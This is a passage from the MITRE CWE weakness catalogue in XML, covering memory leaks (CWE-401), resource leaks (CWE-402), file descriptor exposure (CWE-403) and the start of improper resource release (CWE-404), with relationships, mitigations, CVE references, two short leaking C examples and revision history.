				        <Extended_Description>
					          <Text>This is often triggered by improper handling of malformed data or
						unexpectedly interrupted sessions.</Text>
				        </Extended_Description>
			      </Description>
			      <Relationships>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>772</Relationship_Target_ID>
					          <!--Missing Release of Resource after Effective Lifetime-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">699</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>399</Relationship_Target_ID>
					          <!--Resource Management Errors-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">711</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>730</Relationship_Target_ID>
					          <!--OWASP Top Ten 2004 Category A9 - Denial of Service-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">631</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>633</Relationship_Target_ID>
					          <!--Weaknesses that Affect Memory-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">700</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>398</Relationship_Target_ID>
					          <!--Indicator of Poor Code Quality-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">844</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>861</Relationship_Target_ID>
					          <!--CERT Java Secure Coding Section 49 - Miscellaneous (MSC)-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">888</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>892</Relationship_Target_ID>
					          <!--SFP Cluster: Resource Management-->
				</Relationship>
			      </Relationships>
			      <Relationship_Notes>
				        <Relationship_Note>
					          <Text>This is often a resultant weakness due to improper handling of malformed
						data or early termination of sessions.</Text>
				        </Relationship_Note>
			      </Relationship_Notes>
			      <Applicable_Platforms>
				        <Languages>
					          <Language Language_Name="C"/>
					          <Language Language_Name="C++"/>
				        </Languages>
			      </Applicable_Platforms>
			      <Alternate_Terms>
				        <Alternate_Term>
					          <Term>Memory Leak</Term>
				        </Alternate_Term>
			      </Alternate_Terms>
			      <Terminology_Notes>
				        <Terminology_Note>
					          <Text>"memory leak" has sometimes been used to describe other kinds of issues,
						e.g. for information leaks in which the contents of memory are inadvertently
						leaked (CVE-2003-0400 is one such example of this terminology
						conflict).</Text>
				        </Terminology_Note>
			      </Terminology_Notes>
			      <Time_of_Introduction>
				        <Introductory_Phase>Architecture and Design</Introductory_Phase>
				        <Introductory_Phase>Implementation</Introductory_Phase>
			      </Time_of_Introduction>
			      <Modes_of_Introduction>
				        <Mode_of_Introduction>
					          <Text>Memory leaks have two common and sometimes overlapping causes:</Text>
					          <Block Block_Nature="List">
						            <Text>Error conditions and other exceptional circumstances</Text>
						            <Text>Confusion over which part of the program is responsible for freeing
							the memory</Text>
					          </Block>
				        </Mode_of_Introduction>
			      </Modes_of_Introduction>
			      <Likelihood_of_Exploit>Medium</Likelihood_of_Exploit>
			      <Common_Consequences>
				        <Common_Consequence>
					          <Consequence_Scope>Availability</Consequence_Scope>
					          <Consequence_Technical_Impact>DoS: crash / exit /
						restart</Consequence_Technical_Impact>
					          <Consequence_Technical_Impact>DoS: instability</Consequence_Technical_Impact>
					          <Consequence_Technical_Impact>DoS: resource consumption
						(CPU)</Consequence_Technical_Impact>
					          <Consequence_Technical_Impact>DoS: resource consumption
						(memory)</Consequence_Technical_Impact>
					          <Consequence_Note>
						            <Text>Most memory leaks result in general software reliability problems, but
							if an attacker can intentionally trigger a memory leak, the attacker
							might be able to launch a denial of service attack (by crashing or
							hanging the program) or take advantage of other unexpected program
							behavior resulting from a low memory condition.</Text>
					          </Consequence_Note>
				        </Common_Consequence>
			      </Common_Consequences>
			      <Potential_Mitigations>
				        <Mitigation Mitigation_ID="MIT-41">
					          <Mitigation_Phase>Implementation</Mitigation_Phase>
					          <Mitigation_Strategy>Libraries or Frameworks</Mitigation_Strategy>
					          <Mitigation_Description>
						            <Text>To help correctly and consistently manage memory when programming in
							C++, consider using a smart pointer class such as std::auto_ptr (defined
							by ISO/IEC ISO/IEC 14882:2003), std::shared_ptr and std::unique_ptr
							(specified by an upcoming revision of the C++ standard, informally
							referred to as C++ 1x), or equivalent solutions such as Boost.</Text>
					          </Mitigation_Description>
				        </Mitigation>
				        <Mitigation>
					          <Mitigation_Phase>Architecture and Design</Mitigation_Phase>
					          <Mitigation_Description>
						            <Text>Use an abstraction library to abstract away risky APIs. Not a complete
							solution.</Text>
					          </Mitigation_Description>
				        </Mitigation>
				        <Mitigation>
					          <Mitigation_Phase>Architecture and Design</Mitigation_Phase>
					          <Mitigation_Phase>Build and Compilation</Mitigation_Phase>
					          <Mitigation_Description>
						            <Text>The Boehm-Demers-Weiser Garbage Collector or valgrind can be used to
							detect leaks in code.</Text>
					          </Mitigation_Description>
					          <Mitigation_Effectiveness_Notes>
						            <Text>This is not a complete solution as it is not 100% effective.</Text>
					          </Mitigation_Effectiveness_Notes>
				        </Mitigation>
			      </Potential_Mitigations>
			      <Demonstrative_Examples>
				        <Demonstrative_Example>
					          <Intro_Text>The following C function leaks a block of allocated memory if the
						call to read() does not return the expected number of bytes:</Intro_Text>
					          <Example_Body>
						            <Block Block_Nature="Bad_Code">
							              <Code_Example_Language>C</Code_Example_Language>
							              <Code>char* getBlock(int fd) {</Code>
							              <Block>
								                <Code>char* buf = (char*) malloc(BLOCK_SIZE);</Code>
								                <Code>if (!buf) {</Code>
								                <Block>
									                  <Code>return NULL;</Code>
								                </Block>
								                <Code>}</Code>
								                <Code>if (read(fd, buf, BLOCK_SIZE) != BLOCK_SIZE) {</Code>
								                <Block>
									                  <Code/>
									                  <Code>return NULL;</Code>
								                </Block>
								                <Code>}</Code>
								                <Code>return buf;</Code>
							              </Block>
							              <Code>}</Code>
						            </Block>
					          </Example_Body>
				        </Demonstrative_Example>
				        <Demonstrative_Example>
					          <Intro_Text>Here the problem is that every time a connection is made, more
						memory is allocated. So if one just opened up more and more connections,
						eventually the machine would run out of memory.</Intro_Text>
					          <Example_Body>
						            <Block Block_Nature="Bad_Code">
							              <Code_Example_Language>C</Code_Example_Language>
							              <Code>bar connection(){</Code>
							              <Block>
								                <Code>foo = malloc(1024);</Code>
								                <Code>return foo;</Code>
							              </Block>
							              <Code>}</Code>
							              <Code>endConnection(bar foo) {</Code>
							              <Block>
								                <Code/>
								                <Code>free(foo);</Code>
							              </Block>
							              <Code>}</Code>
							              <Code>int main() {</Code>
							              <Block>
								                <Code/>
								                <Code>while(1) //thread 1</Code>
								                <Comment>//On a connection</Comment>
								                <Code>foo=connection(); //thread 2</Code>
								                <Comment>//When the connection ends</Comment>
								                <Code>endConnection(foo)</Code>
							              </Block>
							              <Code>}</Code>
						            </Block>
					          </Example_Body>
				        </Demonstrative_Example>
			      </Demonstrative_Examples>
			      <Observed_Examples>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2005-3119</Observed_Example_Reference>
					          <Observed_Example_Description>Memory leak because function does not free() an
						element of a data structure.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2004-0427</Observed_Example_Reference>
					          <Observed_Example_Description>Memory leak when counter variable is not
						decremented.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2002-0574</Observed_Example_Reference>
					          <Observed_Example_Description>Memory leak when counter variable is not
						decremented.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2005-3181</Observed_Example_Reference>
					          <Observed_Example_Description>Kernel uses wrong function to release a data
						structure, preventing data from being properly tracked by other
						code.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2004-0222</Observed_Example_Reference>
					          <Observed_Example_Description>Memory leak via unknown manipulations as part of
						protocol test suite.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2001-0136</Observed_Example_Reference>
					          <Observed_Example_Description>Memory leak via a series of the same
						command.</Observed_Example_Description>
				        </Observed_Example>
			      </Observed_Examples>
			      <Functional_Areas>
				        <Functional_Area>Memory management</Functional_Area>
			      </Functional_Areas>
			      <Affected_Resources>
				        <Affected_Resource>Memory</Affected_Resource>
			      </Affected_Resources>
			      <References>
				        <Reference>
					          <Reference_Author>J. Whittaker</Reference_Author>
					          <Reference_Author>H. Thompson</Reference_Author>
					          <Reference_Title>How to Break Software Security</Reference_Title>
					          <Reference_Publisher>Addison Wesley</Reference_Publisher>
					          <Reference_PubDate>2003</Reference_PubDate>
				        </Reference>
			      </References>
			      <Taxonomy_Mappings>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="PLOVER">
					          <Mapped_Node_Name>Memory leak</Mapped_Node_Name>
				        </Taxonomy_Mapping>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="7 Pernicious Kingdoms">
					          <Mapped_Node_Name>Memory Leak</Mapped_Node_Name>
				        </Taxonomy_Mapping>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="CLASP">
					          <Mapped_Node_Name>Failure to deallocate data</Mapped_Node_Name>
				        </Taxonomy_Mapping>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="OWASP Top Ten 2004">
					          <Mapped_Node_Name>Denial of Service</Mapped_Node_Name>
					          <Mapped_Node_ID>A9</Mapped_Node_ID>
					          <Mapping_Fit>CWE_More_Specific</Mapping_Fit>
				        </Taxonomy_Mapping>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="CERT Java Secure Coding">
					          <Mapped_Node_Name>Do not leak memory</Mapped_Node_Name>
					          <Mapped_Node_ID>MSC04-J</Mapped_Node_ID>
				        </Taxonomy_Mapping>
			      </Taxonomy_Mappings>
			      <White_Box_Definitions>
				        <White_Box_Definition>
					          <Text>A weakness where the code path has:</Text>
					          <Block>
						            <Text>1. start statement that allocates dynamically allocated memory
							resource</Text>
						            <Text>2. end statement that loses identity of the dynamically allocated
							memory resource creating situation where dynamically allocated memory
							resource is never relinquished</Text>
					          </Block>
					          <Text>Where "loses" is defined through the following scenarios:</Text>
					          <Block>
						            <Text>1. identity of the dynamic allocated memory resource never
							obtained</Text>
						            <Text>2. the statement assigns another value to the data element that stored
							the identity of the dynamically allocated memory resource and there are
							no aliases of that data element</Text>
						            <Text>3. identity of the dynamic allocated memory resource obtained but
							never passed on to function for memory resource release</Text>
						            <Text>4. the data element that stored the identity of the dynamically
							allocated resource has reached the end of its scope at the statement and
							there are no aliases of that data element</Text>
					          </Block>
				        </White_Box_Definition>
			      </White_Box_Definitions>
			      <Content_History>
				        <Submission Submission_Source="Externally_Mined">
					          <Submitter>PLOVER</Submitter>
				        </Submission>
				        <Modification Modification_Source="External">
					          <Modifier>Eric Dalci</Modifier>
					          <Modifier_Organization>Cigital</Modifier_Organization>
					          <Modification_Date>2008-07-01</Modification_Date>
					          <Modification_Comment>updated Time_of_Introduction</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="External">
					          <Modifier_Organization>KDM Analytics</Modifier_Organization>
					          <Modification_Date>2008-08-01</Modification_Date>
					          <Modification_Comment>added/updated white box definitions</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="External">
					          <Modifier_Organization>Veracode</Modifier_Organization>
					          <Modification_Date>2008-08-15</Modification_Date>
					          <Modification_Comment>Suggested OWASP Top Ten 2004
						mapping</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-09-08</Modification_Date>
					          <Modification_Comment>updated Applicable_Platforms, Common_Consequences,
						Relationships, Other_Notes, References, Relationship_Notes,
						Taxonomy_Mappings, Terminology_Notes</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-10-14</Modification_Date>
					          <Modification_Comment>updated Description</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-03-10</Modification_Date>
					          <Modification_Comment>updated Other_Notes</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-05-27</Modification_Date>
					          <Modification_Comment>updated Name</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="External">
					          <Modifier>KDM Analytics</Modifier>
					          <Modification_Date>2009-07-17</Modification_Date>
					          <Modification_Comment>Improved the White_Box_Definition</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-07-27</Modification_Date>
					          <Modification_Comment>updated White_Box_Definitions</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-10-29</Modification_Date>
					          <Modification_Comment>updated Modes_of_Introduction,
						Other_Notes</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2010-02-16</Modification_Date>
					          <Modification_Comment>updated Relationships</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2010-06-21</Modification_Date>
					          <Modification_Comment>updated Other_Notes,
						Potential_Mitigations</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2010-12-13</Modification_Date>
					          <Modification_Comment>updated Demonstrative_Examples,
						Name</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-03-29</Modification_Date>
					          <Modification_Comment>updated Alternate_Terms</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-06-01</Modification_Date>
					          <Modification_Comment>updated Common_Consequences, Relationships,
						Taxonomy_Mappings</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-05-11</Modification_Date>
					          <Modification_Comment>updated Relationships,
						Taxonomy_Mappings</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-10-30</Modification_Date>
					          <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
				        </Modification>
				        <Previous_Entry_Names>
					          <Previous_Entry_Name Name_Change_Date="2008-04-11">Memory
						Leak</Previous_Entry_Name>
					          <Previous_Entry_Name Name_Change_Date="2009-05-27">Failure to Release Memory
						Before Removing Last Reference (aka 'Memory Leak')</Previous_Entry_Name>
					          <Previous_Entry_Name Name_Change_Date="2010-12-13">Failure to Release Memory
						Before Removing Last Reference ('Memory Leak')</Previous_Entry_Name>
				        </Previous_Entry_Names>
			      </Content_History>
		    </Weakness>
                    <Weakness ID="402" Name="Transmission of Private Resources into a New Sphere ('Resource Leak')" Weakness_Abstraction="Class" Status="Draft">
			      <Description>
				        <Description_Summary>The software makes resources available to untrusted parties
					when those resources are only intended to be accessed by the
					software.</Description_Summary>
			      </Description>
			      <Relationships>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">699</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>399</Relationship_Target_ID>
					          <!--Resource Management Errors-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>668</Relationship_Target_ID>
					          <!--Exposure of Resource to Wrong Sphere-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">888</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>895</Relationship_Target_ID>
					          <!--SFP Cluster: Information Leak-->
				</Relationship>
			      </Relationships>
			      <Alternate_Terms>
				        <Alternate_Term>
					          <Term>Resource Leak</Term>
				        </Alternate_Term>
			      </Alternate_Terms>
			      <Time_of_Introduction>
				        <Introductory_Phase>Architecture and Design</Introductory_Phase>
				        <Introductory_Phase>Implementation</Introductory_Phase>
			      </Time_of_Introduction>
			      <Common_Consequences>
				        <Common_Consequence>
					          <Consequence_Scope>Confidentiality</Consequence_Scope>
					          <Consequence_Technical_Impact>Read application
						data</Consequence_Technical_Impact>
				        </Common_Consequence>
			      </Common_Consequences>
			      <Taxonomy_Mappings>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="PLOVER">
					          <Mapped_Node_Name>Resource leaks</Mapped_Node_Name>
				        </Taxonomy_Mapping>
			      </Taxonomy_Mappings>
			      <Content_History>
				        <Submission Submission_Source="Externally_Mined">
					          <Submitter>PLOVER</Submitter>
				        </Submission>
				        <Modification Modification_Source="External">
					          <Modifier>Eric Dalci</Modifier>
					          <Modifier_Organization>Cigital</Modifier_Organization>
					          <Modification_Date>2008-07-01</Modification_Date>
					          <Modification_Comment>updated Time_of_Introduction</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-09-08</Modification_Date>
					          <Modification_Comment>updated Relationships,
						Taxonomy_Mappings</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-05-27</Modification_Date>
					          <Modification_Comment>updated Name</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-03-29</Modification_Date>
					          <Modification_Comment>updated Alternate_Terms</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-06-01</Modification_Date>
					          <Modification_Comment>updated Common_Consequences</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-05-11</Modification_Date>
					          <Modification_Comment>updated Relationships</Modification_Comment>
				        </Modification>
				        <Previous_Entry_Names>
					          <Previous_Entry_Name Name_Change_Date="2008-04-11">Resource
						Leaks</Previous_Entry_Name>
					          <Previous_Entry_Name Name_Change_Date="2009-05-27">Transmission of Private
						Resources into a New Sphere (aka 'Resource Leak')</Previous_Entry_Name>
				        </Previous_Entry_Names>
			      </Content_History>
		    </Weakness>
                    <Weakness ID="403" Name="Exposure of File Descriptor to Unintended Control Sphere" Weakness_Abstraction="Base" Status="Draft">
			      <Description>
				        <Description_Summary>A process does not close sensitive file descriptors before
					invoking a child process, which allows the child to perform unauthorized I/O
					operations using those descriptors.</Description_Summary>
			      </Description>
			      <Relationships>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
						            <Relationship_View_ID Ordinal="Primary">699</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>402</Relationship_Target_ID>
					          <!--Transmission of Private Resources into a New Sphere ('Resource Leak')-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">631</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>634</Relationship_Target_ID>
					          <!--Weaknesses that Affect System Processes-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">734</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>743</Relationship_Target_ID>
					          <!--CERT C Secure Coding Section 09 - Input Output (FIO)-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">868</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>877</Relationship_Target_ID>
					          <!--CERT C++ Secure Coding Section 09 - Input Output (FIO)-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">888</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>895</Relationship_Target_ID>
					          <!--SFP Cluster: Information Leak-->
				</Relationship>
			      </Relationships>
			      <Applicable_Platforms>
				        <Languages>
					          <Language_Class Language_Class_Description="All"/>
				        </Languages>
				        <Operating_Systems>
					          <Operating_System_Class Operating_System_Class_Description="UNIX"/>
				        </Operating_Systems>
			      </Applicable_Platforms>
			      <Time_of_Introduction>
				        <Introductory_Phase>Architecture and Design</Introductory_Phase>
				        <Introductory_Phase>Implementation</Introductory_Phase>
			      </Time_of_Introduction>
			      <Common_Consequences>
				        <Common_Consequence>
					          <Consequence_Scope>Confidentiality</Consequence_Scope>
					          <Consequence_Scope>Integrity</Consequence_Scope>
					          <Consequence_Technical_Impact>Read application
						data</Consequence_Technical_Impact>
					          <Consequence_Technical_Impact>Modify application
						data</Consequence_Technical_Impact>
				        </Common_Consequence>
			      </Common_Consequences>
			      <Observed_Examples>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2004-1033</Observed_Example_Reference>
					          <Observed_Example_Description>File descriptor leak allows read of restricted
						files.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2000-0094</Observed_Example_Reference>
					          <Observed_Example_Description>Access to restricted resource using modified file
						descriptor for stderr.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2002-0638</Observed_Example_Reference>
					          <Observed_Example_Description>Open file descriptor used as alternate channel in
						complex race condition.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2003-0489</Observed_Example_Reference>
					          <Observed_Example_Description>Program does not fully drop privileges after
						creating a file descriptor, which allows access to the descriptor via a
						separate vulnerability.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2003-0937</Observed_Example_Reference>
					          <Observed_Example_Description>User bypasses restrictions by obtaining a file
						descriptor then calling setuid program, which does not close the
						descriptor.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2004-2215</Observed_Example_Reference>
					          <Observed_Example_Description>Terminal manager does not properly close file
						descriptors, allowing attackers to access terminals of other
						users.</Observed_Example_Description>
				        </Observed_Example>
			      </Observed_Examples>
			      <Affected_Resources>
				        <Affected_Resource>System Process</Affected_Resource>
				        <Affected_Resource>File/Directory</Affected_Resource>
			      </Affected_Resources>
			      <Taxonomy_Mappings>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="PLOVER">
					          <Mapped_Node_Name>UNIX file descriptor leak</Mapped_Node_Name>
				        </Taxonomy_Mapping>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="CERT C Secure Coding">
					          <Mapped_Node_Name>Ensure files are properly closed when they are no longer
						needed</Mapped_Node_Name>
					          <Mapped_Node_ID>FIO42-C</Mapped_Node_ID>
				        </Taxonomy_Mapping>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="CERT C++ Secure Coding">
					          <Mapped_Node_Name>Ensure files are properly closed when they are no longer
						needed</Mapped_Node_Name>
					          <Mapped_Node_ID>FIO42-CPP</Mapped_Node_ID>
				        </Taxonomy_Mapping>
			      </Taxonomy_Mappings>
			      <Content_History>
				        <Submission Submission_Source="Externally_Mined">
					          <Submitter>PLOVER</Submitter>
				        </Submission>
				        <Modification Modification_Source="External">
					          <Modifier>Eric Dalci</Modifier>
					          <Modifier_Organization>Cigital</Modifier_Organization>
					          <Modification_Date>2008-07-01</Modification_Date>
					          <Modification_Comment>updated Time_of_Introduction</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-09-08</Modification_Date>
					          <Modification_Comment>updated Applicable_Platforms, Relationships,
						Taxonomy_Mappings</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-11-24</Modification_Date>
					          <Modification_Comment>updated Affected_Resources, Observed_Examples,
						Relationships, Taxonomy_Mappings</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-03-29</Modification_Date>
					          <Modification_Comment>updated Name</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-06-01</Modification_Date>
					          <Modification_Comment>updated Common_Consequences</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-06-27</Modification_Date>
					          <Modification_Comment>updated Common_Consequences</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-09-13</Modification_Date>
					          <Modification_Comment>updated Relationships,
						Taxonomy_Mappings</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-05-11</Modification_Date>
					          <Modification_Comment>updated Relationships</Modification_Comment>
				        </Modification>
				        <Previous_Entry_Names>
					          <Previous_Entry_Name Name_Change_Date="2011-03-29">UNIX File Descriptor
						Leak</Previous_Entry_Name>
				        </Previous_Entry_Names>
			      </Content_History>
		    </Weakness>
                    <Weakness ID="404" Name="Improper Resource Shutdown or Release" Weakness_Abstraction="Base" Status="Draft">
			      <Description>
				        <Description_Summary>The program does not release or incorrectly releases a resource
					before it is made available for re-use.</Description_Summary>
				        <Extended_Description>
					          <Text>When a resource is created or allocated, the developer is responsible for
						properly releasing the resource as well as accounting for all potential
						paths of expiration or invalidation, such as a set period of time or
						revocation.</Text>
				        </Extended_Description>
			      </Description>
			      <Relationships>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>664</Relationship_Target_ID>
					          <!--Improper Control of a Resource Through its Lifetime-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
